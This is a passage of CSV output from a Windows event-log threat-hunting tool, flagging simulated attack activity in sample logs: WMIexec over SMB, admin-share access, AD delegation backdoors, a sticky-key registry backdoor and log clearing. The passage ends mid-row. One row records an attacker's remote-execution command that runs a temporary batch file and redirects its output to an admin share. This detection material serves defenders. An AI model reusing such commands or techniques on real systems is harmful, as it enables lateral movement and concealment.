0x4da324f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.686 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da3273,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.686 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 57116 : LogonID: 0x4da3273,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.852 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da3292,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.852 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 57116 : LogonID: 0x4da3292,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.913 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da32af,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.913 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 57116 : LogonID: 0x4da32af,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.308 +09:00,srvdefender01.offsec.lan,4674,low,Lateral Movement Indicator ConDrv,,rules/sigma/builtin/security/win_lateral_movement_condrv.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.313 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.325 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.329 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.332 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.335 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.338 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.342 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.344 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.348 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.350 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.354 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.356 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.360 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.363 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.367 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.369 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.373 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.375 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.379 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.381 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.385 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.385 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.388 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.391 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.392 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.392 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.394 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.399 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.406 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.409 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.418 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.420 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.441 +09:00,srvdefender01.offsec.lan,4674,low,Lateral Movement Indicator ConDrv,,rules/sigma/builtin/security/win_lateral_movement_condrv.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.450 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.452 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.456 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.458 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.462 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.463 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.463 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.464 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.479 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.481 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 18:07:00.330 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.330 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.332 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.332 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:08:00.382 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.384 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:16:14.118 +09:00,srvdefender01.offsec.lan,12,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 18:16:14.118 +09:00,srvdefender01.offsec.lan,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 18:16:14.119 +09:00,srvdefender01.offsec.lan,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 18:16:14.119 +09:00,srvdefender01.offsec.lan,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 18:16:14.119 +09:00,srvdefender01.offsec.lan,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 19:04:23.189 +09:00,srvdefender01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID4656-Failed sethc replacement by CMD.evtx +2021-04-27 00:03:05.992 +09:00,fs02.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1015,technique_name=Accessibility Features : Command: C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\cmd.exe /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMIexec process execution.evtx +2021-04-27 00:16:03.978 